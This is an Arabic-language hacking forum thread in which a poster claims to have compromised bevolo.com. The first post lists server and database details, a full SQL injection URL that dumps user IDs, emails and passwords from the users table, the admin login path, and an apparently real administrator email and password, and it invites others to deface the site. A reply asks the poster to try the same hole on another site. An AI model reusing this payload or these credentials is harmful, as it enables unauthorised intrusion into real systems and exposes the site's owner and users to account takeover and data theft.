اختراق مع تفاصيل السيرفر كامله+مسار الادمن والباسورد bevolo.com

[KOOBAN]

السلام عليكم

تفضلوا

تفاصيل السيرفر :biggrin:

Target:         http://www.bevolo.com/product.php?cat_id=13
Host IP:        64.150.185.182
Web Server:     Microsoft-IIS/7.5
Powered-by:     PHP/5.2.13
Powered-by:     ASP.NET
DB Server:     MySQL >=5
Resp. Time(avg):    1428 ms
Current User:     bev_admin_uzer@localhost
Sql Version:     5.0.45-community-nt
Current DB:     bevolo
System User:     bev_admin_uzer@localhost
Host Name:     DS24602
Installation dir:     C:\Program Files (x86)\Parallels\Plesk\Databases\MySQL
DB User:     'bev_admin_uzer'@'%'
Data Bases:     information_schema
        bevolo
        test

الحقنه كامله :biggrin:

http://www.bevolo.com/product.php?cat_id=13%20and%201=0%20union%20%20select%201,2,3,4,group_concat%28user_id,0x3a,users.email,0x3a,password%29,6%20from%20users%20--%20-

مسار الادمن والباسورد للدخول :biggrin:

http://www.bevolo.com/bvl_admin/index.php
USERNAME:chris@bevolo.com
PASSWORD:tigersby6

نتمنى وضع انكدس لاحد الاخوه :icon30:
​

 

[أمير غزة]

رد: اختراق مع تفاصيل السيرفر كامله+مسار الادمن والباسورد bevolo.com

رائعة وكتير حلوة لو طلبت منك تشوفلي هالموقع بتقدر ؟
تشوف الثغرة بتمشي عليه ولا لأ ؟